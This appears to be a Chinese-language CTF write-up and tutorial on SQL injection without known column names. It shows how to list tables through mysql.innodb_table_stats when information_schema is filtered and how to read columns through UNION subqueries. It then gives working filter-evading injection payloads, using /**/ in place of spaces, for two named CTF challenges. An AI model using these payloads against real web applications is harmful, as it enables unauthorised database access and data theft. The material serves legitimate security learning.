SQL无列名注入
为什么需要无列名注入
我们常用的SQL注入
方法是通过infomation_schema
这个默认数据库来实现,但是如果过滤了此数据库我们就不能通过这个库来查出表名和列名,不过我们还可以通过两种方法查出表名:
1.InnoDb引擎:
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats
和innodb_table_stats
两张表(mysql.innodb_table_stats
),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。
select group_concat(table_name) from mysql.innodb_table_stats; |
2.sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns
)来获取表名。
但是这两种方法只能查出表名,无法查出列名,这时候就需要我们使用无列名注入。
无列名注入的使用条件
适用于只能查询到数据表,但是无法查询数据列名的情况。
试验展示
正常查询user表的sql语句是select * from user;
用联合查询的方式查询表中的数据select 1,2,3 union select * from user;
很明显创建了虚拟数据(虚拟字段值123和虚拟表),虚拟表列名变成了123.
只查一个列的字段值的话我们可以用:
select `2` from (select 1,2,3 union select * from user)xxx; |
同时查询多个列
select concat(`2`,`3`) from (select 1,2,3 union select * from user)xxx; |
当反引号也被过滤的时候,我们可以使用as
取别名进行绕过
select 1 as a,2 as b,3 as c union select * from user; |
select b from (select 1 as a,2 as b,3 as c union select * from user)xxx; |
CTF实战
[HNCTF 2022 WEEK2]easy_sql
开题发现是简单的sql注入
fuzz一下,发现过滤了空格,or还有一些其他东西
1'/**/union/**/select/**/1,2,3/**/where/**/'1 |
发现回显点是3
因为过滤了or
,我们无法使用infomation_schema
,这时候采用一下的payload查询
1'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1 |
查询到数据库ctf,ctftraining,ctftraining,ctftraining,mysql
进一步查询库名。
1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1 |
查询到库名ccctttfff,flag,news,users,gtid_slave_pos
接下来就是无列名注入。
1'union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)n/**/where/**/'1 |
[SICTF Round3] hacker
根据提示,flag在flag表内。
fuzz一下,同样过滤了or,这里也是使用无列名注入。
1'/**/union/**/select/**/group_concat(`2`)/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)n/**/%23 |